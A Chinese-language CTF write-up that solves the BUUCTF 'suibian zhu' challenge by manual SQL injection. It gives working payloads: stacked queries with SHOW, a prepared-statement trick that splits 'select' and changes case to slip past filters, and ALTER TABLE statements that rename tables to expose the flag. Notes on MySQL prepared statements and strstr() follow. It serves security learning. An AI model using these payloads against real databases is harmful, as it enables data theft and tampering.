buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)

最近一直在学sql注入
尝试练练ctf题中的sql注入,因为自己自动化工具还是不太会玩,所以选择一些纯手工注入的题在这里插入代码片
buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第1张图片

自己走过的路加wp指导的心路历程

0x01 注入检测

1' 报错
1'# 正常
1' or 1=1#正常,表中所有数据显露
1' and 1=2#报错
1' and 1=1#正常

可以得知存在注入

0x02 尝试获得该表中的列数

1' order by 1#

通过更改 by后参数可知2列

0x03 尝试联合查询

-1'union select 1,2;#

buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第2张图片发现select被正则过滤了

0x04 堆叠注入

既然select 被过滤了那么就用show命令试试

-1';show tables;#-

buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第3张图片查询得到两个表
那么就表中查列试试

-1';show columns from `words`#这里插入代码片

buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第4张图片再查另一表中列

-1';show columns from `1919810931114514`#

buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第5张图片

0x05 最后一步查数据

这里是最重要的一步,有两种方法
第一种 mysql预制语句配合堆叠注入以及strstr()函数漏洞
payload

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆开看

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入)_第6张图片strst函数报错过不了
可以采用大小写绕过

-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#

第二种
通过alter修改列名和表名
已知信息是flag列名所在表名为‘1919810931114514’
而我们通过id查到的数据我们可以猜测为words表单
所以我们可以猜测后端sql查询语言为

select * from words where id= '';

所以我们不妨1919810931114514表名把改为words;flag列名改为id,那么就可以得到flag了
所以payload为

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(30);#

wp引用学习来自http://www.saucer-man.com/information_security/302.html

踩过的坑与学到的知识

坑1

对堆叠注入不了解
在SQL中,分号(;)是用来表示一条sql语句的结束。 ; 结束一个sql语句后继续构造下一条语句,也就造就了堆叠注入。其实就是一次执行多个语句
具体参考堆叠注入

坑2

数字表名要加反引号

坑3

sql 预处理语句语句的不了解
预制语句的SQL语法基于三个SQL语句:

PREPARE stmt_name FROM preparable_stmt;

预备一个语句,并赋予它名称stmt_name,preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。

EXECUTE stmt_name [USING @var_name [, @var_name] ...];

使用一个EXECUTE语句(该语句引用了预制语句名称)来执行它。如果预制语句包含任何参数制造符,则您必须提供一个列举了用户变量(其中包含要与参数结合的值)的USING子句

{DEALLOCATE | DROP} PREPARE stmt_name;

要对一个预制语句解除分配,需使用DEALLOCATE PREPARE语句
以下SQL语句可以被用在预制语句中:CREATE TABLE, DELETE, DO, INSERT, REPLACE, SELECT, SET, UPDATE和多数的SHOW语句。目前不支持其它语句。
详细参考sql预处理语句

坑4

strstr函数
大小区分不了解
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

注释:该函数是二进制安全的。

注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。
例如



echo strstr("Hello world!","world");  // 输出 world!
?>

详细参考菜鸟教程

坑5

sql语法不太了解
尤其是alter的用法
详细参考https://www.w3school.com.cn/sql/sql_alter.asp

你可能感兴趣的:(buuctfweb刷题wp详解及知识整理----【网鼎杯】随便注(sql注入))